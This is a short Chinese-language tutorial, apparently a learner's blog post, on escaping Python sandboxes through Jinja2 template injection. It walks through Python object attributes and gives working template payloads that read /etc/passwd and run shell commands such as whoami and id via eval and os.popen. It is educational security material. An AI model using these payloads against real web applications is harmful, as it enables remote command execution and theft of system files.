浅析Python沙盒逃逸

沙盒逃逸原理

​ 沙盒逃逸的过程就是在一个代码执行的环境下,脱离种种过滤和限制,最终拿到shell权限的过程。也就是绕过各种黑名单最终拿到系统命令执行权限。

Python中的魔术方法

1
2
3
4
5
6
7
__class__ 返回类型所属的对象 
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtin__ 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

​ 我们打开python编译器后就算没有创建任何的变量或者函数,但是在python中我们还是有可以调用的函数,也就是所说的内建函数。

​ 我们通过上述提到的python中的魔术方法,我们就可以利用任何一个变量到基类中,获得基类中的所有实现的类,然后再调用相应的成员变量。从而达到沙盒逃逸。

魔术方法

众所周知,python是一门面对对象编程的语言,在python中一切皆为对象。均继承Object对象。

__base____mro__都是用来寻找基类的,通过上图我们可以看到基类都是Object.

获取字符串的类对象

1
''.__class__

获取基类地址

1
''.__class__.__mro__

查看实现类和成员

1
''.__class__.__mro__[1].__subclasses__()

jinja2变量解析

1
2
控制结构 {% %}
变量取值 {{ }}

读取

file

​ 不能像字符串对象,列表对象那样直接引用(' ',[ ]) ,所以我们只能用上面说到的属性和方法

1
2
3
4
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()

分析一下代码,能够知道基类为Object 然后取Object的所有子类,在子类中寻找file类,如果能找到就使用file构造方法创建对象,再利用readlines()读取文件内容。

用jinja2的语法就是

1
2
3
4
5
6
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

在docker容器中找不到

不过在本地是可以的

然后就去百度了一下为什么找不到file,发现在python3中并没有file类,上述方法只适用于python2

eval

寻找builtins得到eval

​ 既然file在python3中不能使用,那就找eval,有了它还会发愁嘛!

​ 我们在python2和python3中找__builtins__ 找共有的类。然后构造通用的任意执行代码。

1
2
3
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='共有的类':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

jinja2语法

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='共有的类' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

直接从globals中寻找eval

原理和上面大同小异,先取所有子类,看是否有catch_warnings ,变量b在globals__.values() 下进行遍历。

判断变量b的类型是否为{}.__class__ , 如果eval在b.keys中,则执行eval下构造的代码。

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

另外一种payload构造方法

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{% endif %}
{% endfor %}

  • 小白学习,文章若有错误,还请大佬们指出。QQ:515469508